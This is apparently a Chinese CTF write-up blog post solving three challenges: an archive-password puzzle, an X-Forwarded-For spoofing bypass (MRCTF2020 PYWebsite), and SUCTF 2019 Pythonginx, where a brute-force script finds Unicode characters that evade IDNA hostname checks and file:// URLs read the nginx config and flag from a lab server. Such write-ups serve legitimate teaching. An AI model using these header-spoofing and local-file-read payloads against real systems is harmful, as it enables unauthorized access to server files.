本文已参与「新人创作礼」活动,一起开启掘金创作之路。
Miscx
通过下载题目发现是一个rar文件
\
使用解压工具打开发现,解压需要密码,但是里面有个zip的解压包里面的图片不需要密码
打开图片
盲猜密码是2020 ,果然是的,将另一个加密doc文档打开,发现一串音乐字符。。。。
通过解密音乐字符发现,为rabbits加密
解密rabbits密钥为2020
得到密码welcome_to_payhelp,继续解压rar文件,发现hint.txt文件成功解压
\
Flag.txt文件解压错误
打开hint.txt文件发现为base64编码
连续解密base64,结果如下
又发现为url解密 发现密码为hello 2020!
重新解压文件,发现flag.txt文件正常解压
查看flag.txt文件获取flag
[MRCTF2020]PYWebsite
查看源代码 发现flag.php
访问flag.php
自己也可以看到 不可能够买的 通过xff伪造本地
X-Forwarded-For 介绍
HTTP 连接基于 TCP 连接,HTTP 协议中没有 IP 的概念,只能通过X-Forwarded-For来实现。
X-Forwarded-For位于HTTP协议的请求头, 是一个 HTTP 扩展头部。HTTP/1.1(RFC 2616)协议并没有对它的定义,它最开始是由 Squid 这个缓存代理软件引入,用来表示 HTTP 请求端真实 IP。如今它已经成为事实上的标准,被各大 HTTP 代理、负载均衡等转发服务广泛使用,并被写入RFC 7239(Forwarded HTTP Extension)标准之中。
X-Forwarded-For 伪造
当XFF的值为127.0.0.1的时候 说明他伪造的就是自己 在CTF中很常见
如果服务器以X-Forwarded-For
中的地址(而不是remote address
)作为用户的IP地址实行IP地址过滤,很可能让用户通过伪造X-Forwarded-For
获取权限,从而导致服务器应用出现漏洞。
[SUCTF 2019]Pythonginx
对代码进行美化
@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
url = request.args.get("url")
host = parse.urlparse(url).hostname #解析出主机名
if host == 'suctf.cc':
return "我扌 your problem? 111"
parts = list(urlsplit(url))
host = parts[1] #再次解析主机名
if host == 'suctf.cc':
return "我扌 your problem? 222 " + host
newhost = []
for h in host.split('.'): #对www.example.com按.划分,先按idna编码,再utf-8解码
newhost.append(h.encode('idna').decode('utf-8'))
parts[1] = '.'.join(newhost) #组合好解码后的主机名
#去掉 url 中的空格
finalUrl = urlunsplit(parts).split(' ')[0]
host = parse.urlparse(finalUrl).hostname #解析出主机名,要等于suctf.cc
if host == 'suctf.cc':
return urllib.request.urlopen(finalUrl).read()
else:
return "我扌 your problem? 333"
代码的意思是提交一个url,用来读取服务器端任意文件 绕过前二个if 进入第三个if
按照getUrl函数写出爆破脚本得到我们能够逃逸的构造语句 脚本是偷的
from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
for x in range(65536):
uni=chr(x)
url="http://suctf.c{}".format(uni)
try:
if getUrl(url):
print("str: "+uni+' unicode: \u'+str(hex(x))[2:])
except:
pass
def getUrl(url):
url=url
host=parse.urlparse(url).hostname
if host == 'suctf.cc':
return False
parts=list(urlsplit(url))
host=parts[1]
if host == 'suctf.cc':
return False
newhost=[]
for h in host.split('.'):
newhost.append(h.encode('idna').decode('utf-8'))
parts[1]='.'.join(newhost)
finalUrl=urlunsplit(parts).split(' ')[0]
host=parse.urlparse(finalUrl).hostname
if host == 'suctf.cc':
return True
else:
return False
if __name__=='__main__':
get_unicode()
运行结果如下
str: ℂ unicode: \u2102
str: ℭ unicode: \u212d
str: Ⅽ unicode: \u216d
str: ⅽ unicode: \u217d
str: Ⓒ unicode: \u24b8
str: ⓒ unicode: \u24d2
str: C unicode: \uff23
str: c unicode: \uff43
我们只需要用其中任意一个去读取文件就可以了 因为题目给的是ngnix系统 所以我们要去读nginx配置文件
Nginx 重要文件目录:
配置文件存放目录:/etc/nginx
主要配置文件:/etc/nginx/conf/nginx.conf
管理脚本:/usr/lib64/systemd/system/nginx.service
模块:/usr/lisb64/nginx/modules
应用程序:/usr/sbin/nginx
程序默认存放位置:/usr/share/nginx/html
日志默认存放位置:/var/log/nginx
Nginx配置文件:/usr/local/nginx/conf/nginx.conf
\
构造file://suctf.cℭ/usr/local/nginx/conf/nginx.conf
http://efdf5f54-8c2b-4bd8-b478-4d05d42bf217.node4.buuoj.cn:81/getUrl?url=file://suctf.c%E2%84%82/../../../../..//usr/local/nginx/conf/nginx.conf
\
\
wsgipassunixz//tm/uwsgisocki
server(isten80:location/tryfilessuri@app:location@a
alias
usr/fffffflag,#
\
http://efdf5f54-8c2b-4bd8-b478-4d05d42bf217.node4.buuoj.cn:81/getUrl?url=file://suctf.cℭ/usr/fffffflag